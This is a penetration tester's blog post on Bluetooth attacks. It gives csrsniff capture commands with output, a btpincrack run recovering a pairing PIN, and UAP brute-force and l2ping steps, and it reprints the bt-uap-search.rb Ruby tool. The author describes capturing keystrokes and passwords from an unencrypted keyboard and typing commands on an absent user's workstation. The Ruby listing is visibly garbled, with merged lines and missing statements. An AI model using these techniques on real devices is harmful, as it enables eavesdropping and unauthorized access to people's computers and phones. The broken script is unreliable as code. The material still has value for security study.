Bluetooth Sniffing | Bluetooth Vulnerabilities | InteliSecure



After the previous post Ubertooth – Open Source Bluetooth Sniffing, many have asked the question why?People can remember some of the original Bluetooth holes back between 2004-2008 but vulnerabilities are simply not common these days.

Small list of vulnerabilities on Phones:

  • Stealing Address Books from Nokia Phones.
  • Remote Dialing 090* numbers.
  • Blasting audio down headsets/car stereos.

Depending on the Bluetooth implementation sometimes security and/or encryption is not applied.  As a Pentester Bluetooth security crops up from time to time in engagements; often during Social Engineering Engagements.  I personally find it useful when a certain manufacturer (I promised not to embarrass them here) of bluetooth keyboards allows keystrokes to be broadcast over bluetooth in the clear!  Meaning with a CSRsniffer of Ubertooth I can potentially capture their username and passwords, as they login to their workstation.  If they walk away from their keyboard (to grab a coffee ? break?) if I’ve captured their pairing process I can crack their pair-PIN, and use it to type commands on their workstation while their away!

People may think their secure for the following reasons:

  • They are using authentication (PIN)
  • Their devices are operating in hidden mode.

Is is not necessarily the case…

Using CSRSniff & BTpincrack

Depending on the pairing protocol you may be lucky to capture the paring process, and you can use a program called btpincrack to obtain the PIN.

Sniffing Encrypted Communication

Using a slightly older Fujitsu dongle flashed with the CSR firmware, and using the csrsniff program mentioned in the previous post.  We can sniff and capture a pairing process between two older mobile phones.

$./csrsniff -d hci0 -e -w capture.cap -p

Example output from csrsniff:

HL 0x0F Ch 03 M Clk 0x056D9F4 Status 0x0 Hdr0 0x89 [type: 1 addr: 1] LLID 0 Len 0
HL 0x0F Ch 03 S Clk 0x056D9F6 Status 0x0 Hdr0 0x81 [type: 0 addr: 1] LLID 0 Len 0
HL 0x0F Ch 78 M Clk 0x056D9F8 Status 0x0 Hdr0 0x99 [type: 3 addr: 1] LLID 3 Len 5 LMP Tid 0 Op1 12: 92 40 82 57
btpincrack Go <master> <slave> e16ac45742a4847a677ffa5c67ea918b 58618599fec84a122436a820e5272d3b f7b3ab76edfc1830355075d2b9b65f94 ebfe41b1c39f901c2ee390fba54ef060 74a6e4cdb96f816416e2ee2680fa798d 92408257 58be74df
HL 0x0F Ch 78 S Clk 0x056D9FA Status 0x0 Hdr0 0x81 [type: 0 addr: 1] LLID 0 Len 0
HL 0x0F Ch 13 M Clk 0x056D9FC Status 0x0 Hdr0 0x89 [type: 1 addr: 1] LLID 0 Len 0
HL 0x0F Ch 13 S Clk 0x056D9FE Status 0x0 Hdr0 0x81 [type: 0 addr: 1] LLID 0 Len 0

Cracking the Key

Where master and slave are the respective bt_addresses (BT MACs):

btpincrack Go <master> <slave> e16ac45742a4847a677ffa5c67ea918b 58618599fec84a122436a820e5272d3b f7b3ab76edfc1830355075d2b9b65f94 ebfe41b1c39f901c2ee390fba54ef060 74a6e4cdb96f816416e2ee2680fa798d 92408257 58be74df

m_bd_addr: 00 de ad be ef
s_bd_addr:  00 de ad ca fe
in_rand:    e1 6a c4 57 42 a4 84 7a 67 7f fa 5c 67 ea 91 8b
m_comb_key: 58 61 85 99 fe c8 4a 12 24 36 a8 20 e5 27 2d 3b
s_comb_key: f7 b3 ab 76 ed fc 18 30 35 50 75 d2 b9 b6 5f 94
m_au_rand:  eb fe 41 b1 c3 9f 90 1c 2e e3 90 fb a5 4e f0 60
s_au_rand:  74 a6 e4 cd b9 6f 81 64 16 e2 ee 26 80 fa 79 8d
m_sres:     92 40 82 57
s_sres:     58 be 74 df
Kab:        4c e8 30 2e 52 f4 b3 22 a7 af 66 25 77 21 76 b9
pin:        1234

However, some devices now implement Secure Mode 3 or 4, meaning the pairing process is now encrypted.  But sometimes security is simply not needed/applied/implemented.

Secure Mode

  • 1 = non-secure.
  • 2 = a security manager controls access to specific services and devices.
  • 3 = a Bluetooth device initiates security procedures before the physical link is fully established. Bluetooth devices operating in Security Mode 3 mandates authentication and encryption for all connections to and from the device. This mode supports authentication (unidirectional or mutual) and encryption.
  • 4 = (introduced in Bluetooth v2.1 + EDR) is a service level enforced security mode in which security procedures are initiated after link setup. Security requirements for services protected by Security Mode 4 must be classified as one of the following: authenticated link key required, unauthenticated link key required, or no security required.

Hidden Devices

Turning off discoverability is like hiding the SSID of an 802.11 network.  It prevents people from casually or accidentally connecting to your Bluetooth device.  It might be worth doing for this reason alone, but it can no longer be recommend it as a security practice.

Turning off discoverability does nothing to thwart skilled attackers. Worse, it creates a false sense of security and makes it harder for the good guys to notice that Bluetooth devices are in use.

What Makes a BlueTooth MAC?

BD_ADDR is a 48 bit number (it’s a MAC address) that is unique to a particular Bluetooth device. It consists of three sections,

  • the 16 bit Non-Significant Address Part (NAP),
  • the 8 bit Upper Address Part (UAP),
  • and the 24 bit Lower Address Part (LAP).

In order to connect to a target, an attacker needs only the UAP and LAP.

For example:

With a bluetooth address of 01:02:03:04:05:06, you only need to know 00:00:03:04:05:06 to interact with the device.

LAP Sniffing

LAP sniffing is easy. Every Bluetooth packet contains the LAP in cleartext. Spill and Bittau showed how to sniff LAPs with a USRP for about $1000(USD). Now it can be done with an Ubertooth One for about a tenth of that price $100(USD). LAP sniffing has always been easy, but now the tools and methods are more well known.

UAP Determination

The UAP is only slightly more difficult for an attacker to learn. Project Ubertooth and gr-bluetooth include software that implements automatic UAP determination based on passive observation of just a few packets. The function is integrated into the Ubertooth Kismet plugin. Even without this method, it isn’t hard to figure out the 8 bit UAP. In Hacking Exposed Wireless, Second Edition, Joshua Wright showed how to determine the UAP with a simple brute force attack.

UAP Brute-Force

If you have managed to discover the device LAP (through the use of Ubertooth One or similar tools) you can brute-force the UAP portion of the BD_ADDR using bt-uap-search.rb. This tool will make use of multiple Bluetooth adapters (specified with the -c switch) so the more you have the faster this will go. There are 256 possible values.

./bt-uap-search.rb -c 1 -l 03:76:35

With the LAP and UAP you can use sdptool to enumerate services on the device (the NAP portion is not needed). A quick test to see if the found BD_ADDR responds is:

l2ping -c 00:00:80:03:76:35


Turning off discoverable mode doesn’t make your Bluetooth device any more secure. If your security model depends on secrecy of the BD_ADDR, you are doing it wrong!.

bt-uap-search.rb Source

As I can no longer find it online, I thought attaching the source-code would be a nice thing to do (formatting may appear slightly skewed on this blog page):

# Version 0.1
# bt-uap-search
# Copyright (c) 2009, Joshua Wright
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# GNU General Public License for more details.
require 'thread'
$currentmac = 0

def reachtargets(targets, interfaces, threads)

	totalmacs = targets.length
	currentmac = 0

	interfaces.size.times do |i|
		threads << do |j| 			iface = interfaces.pop             # Set interface page timeout to 8 seconds (128000 slots)             print "Changing page timeout on interface #{iface} to 8 seconds."             resp = `hciconfig #{iface} pageto 12800` 			while !targets.empty? 				testval = targets.pop.downcase unless targets.empty? 				$currentmac += 1 				puts "Contacting #{testval} using #{iface} (#{$currentmac}/256)" 				pingresp = `hcitool -i #{iface} info #{testval} 2>&1`
				#print "#{testval}: #{pingresp}"
				if pingresp =~ /Can't create connection/ then
				elsif pingresp =~ /"#{testval}"/ or pingresp =~ /Device Name/ or pingresp =~ /BD Address/ then
					puts "nTARGET FOUND: #{testval} (#{iface})"
					puts pingresp
					puts "nPOTENTIAL RESPONSE: #{testval} (#{iface}) returned: "
					puts pingresp
			interfaces << iface   		end 	end end         # List of common LAP values from the BNAP, BNAP project # # We guess these values first, before resorting to brute-force commonuaps = ["00", "03", "07", "10", "13", "15", "1B", "1C", "1D", "1F", "25", "20", "24", "28", "2A", "2D", "35", "37", "38", "3A", "3C", "3D", "41", "47", "4B", "4F", "51", "55", "56", "59", "5B", "5C", "61", "62", "63", "67", "6D", "70", "71", "72", "74", "75", "84", "86", "89", "8A", "8F", "93", "94", "95", "9B", "9F", "A0", "A1", "A4", "A7", "AF", "B0", "B3", "B8", "B9", "BC", "C5", "C6", "C7", "CB", "CC", "CE", "CF", "D1", "D2", "D4", "D5", "D9", "DB", "DC", "E0", "E2", "E3", "EE", "F2", "F8", "FD", "FE"]   interfaces = targets = threads = []   if ARGV.length == 0 then 	puts "Search UAP space for Bluetooth devices." 	puts "Usage: bluape.rb [-c interface count] [-l LAP]" 	exit end   if Process.euid != 0 then 	puts "Must be root." 	exit end   while ARGV.length > 0 do
	op = ARGV.shift
	if op == '-c' then
		intcount = ARGV.shift
	if op == '-l' then
		lap = ARGV.shift

if intcount == nil
	raise "Must specify an interface count with -c"
if lap == nil
	raise "Must specify a LAP with -l"
intcount = intcount.to_i

# Queue of interface names to use
0.upto(intcount-1) do |i|
	interfaces << "hci#{i}"
	# Place the interface up while we are at it
	system("hciconfig hci#{i} noscan up")

trap("SIGINT") do
	threads.each { |t| t.exit() }

# Try reaching targets with common LAP's first
commonuaps.each do |uap|
	targets << "4A:57:#{uap}:#{lap}"
reachtargets(targets, interfaces, threads)

threads.each { |t| t.join }

puts "Switching to less-common UAP list"

# Short list was not successful, create remaining targets list
alluaps = []
0.upto(255) do |i|
	alluaps << "%02X" % i
remaininguaps = alluaps - commonuaps

targets =
remaininguaps.each do |uap|
	targets << "4A:57:#{uap}:#{lap}"
reachtargets(targets, interfaces, threads)

threads.each { |t| t.join }